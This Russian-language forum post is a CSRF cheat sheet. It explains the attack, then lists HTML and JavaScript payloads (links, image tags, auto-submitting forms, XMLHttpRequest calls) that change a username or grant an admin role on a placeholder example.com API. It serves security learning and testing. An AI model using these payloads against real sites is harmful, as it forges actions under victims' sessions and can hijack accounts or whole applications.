Что нового

Cheat Sheet Cross-Site Request Forgery

Vander 0

Vander

Команда форума
10.11.2019
483
1 109
csrf-cross-site-request-forgery.jpg

CSRF (Сross Site Request Forgery — «межсайтовая подделка запроса», также известна как XSRF) — вид атак на посетителей веб-сайтов, использующий недостатки протокола HTTP. Если жертва заходит на сайт, созданный злоумышленником, от её лица тайно отправляется запрос на другой сервер (например, на сервер платёжной системы), осуществляющий некую вредоносную операцию (например, перевод денег на счёт злоумышленника). Для осуществления данной атаки жертва должна быть аутентифицирована на том сервере, на который отправляется запрос, и этот запрос не должен требовать какого-либо подтверждения со стороны пользователя, которое не может быть проигнорировано или подделано атакующим скриптом.

Поддельный запрос отправляется на целевой веб-сайт через браузер жертвы. Приложение не может отличить законный запрос от вредоносного, так как пользователь проходит проверку подлинности в приложении во время атаки.

Серьезность использования уязвимости зависит от прав доступа пользователя. Успешно проведенная CSRF-атака обманом заставит обычного пользователя отправлять запросы на изменение состояния (перевод средств, изменение адреса электронной почты и пароля и т. Д.). Если жертва является администратором, злоумышленник сможет скомпрометировать целое веб-приложение.

Также с помощью CSRF возможна эксплуатация отражённых XSS, обнаруженных на другом сервере.

Содержание
  • [Методология]
  • [Полезные нагрузки]
    • [HTML GET - Требование взаимодействия с пользователем]
    • [HTML GET - Без взаимодействия с пользователем]
    • [HTML POST - Требуется взаимодействие с пользователем]
    • [HTML POST - AutoSubmit - Нет взаимодействия с пользователем]
    • [JSON GET - Простой запрос]
    • [JSON POST - Простой запрос]
    • [JSON POST - Complex запрос]
  • [Материалы для изучения]
Инструменты
Методология
Полезные нагрузки

Когда вы заходите на определенный сайт, у вас обычно есть сеанс. Идентификатор этого сеанса хранится в файле cookie в вашем браузере и отправляется с каждым запросом на этот сайт. Даже если какой-то другой сайт инициирует запрос, cookie отправляется вместе с запросом, и запрос обрабатывается так, как если бы вошедший в систему пользователь выполнил его.

[HTML GET - Требование взаимодействия с пользователем]

Код:
```html

<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>

```
[HTML GET - Без взаимодействия с пользователем]

Код:
```html

<img src="http://www.example.com/api/setusername?username=CSRFd">

```
[HTML POST - Требуется взаимодействие с пользователем]

Код:
```html

<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
 <input name="username" type="hidden" value="CSRFd" />
 <input type="submit" value="Submit Request" />
</form>

```
[HTML POST - AutoSubmit - Нет взаимодействия с пользователем]

Код:
```html

<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
 <input name="username" type="hidden" value="CSRFd" />
 <input type="submit" value="Submit Request" />
</form>
 
<script>
 document.getElementById("autosubmit").submit();
</script>

```
[JSON GET - Простой запрос]

Код:
```html

<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
</script>

```
[JSON POST - Простой запрос]

Код:
```html

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
//application/json is not allowed in a simple request. text/plain is the default
xhr.setRequestHeader("Content-Type", "text/plain");
//You will probably want to also try one or both of these
//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
//xhr.setRequestHeader("Content-Type", "multipart/form-data");
xhr.send('{"role":admin}');
</script>

```
[JSON POST - Complex запрос]

Код:
```html

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
</script>

```
Материалы для изучения
 
Верх Низ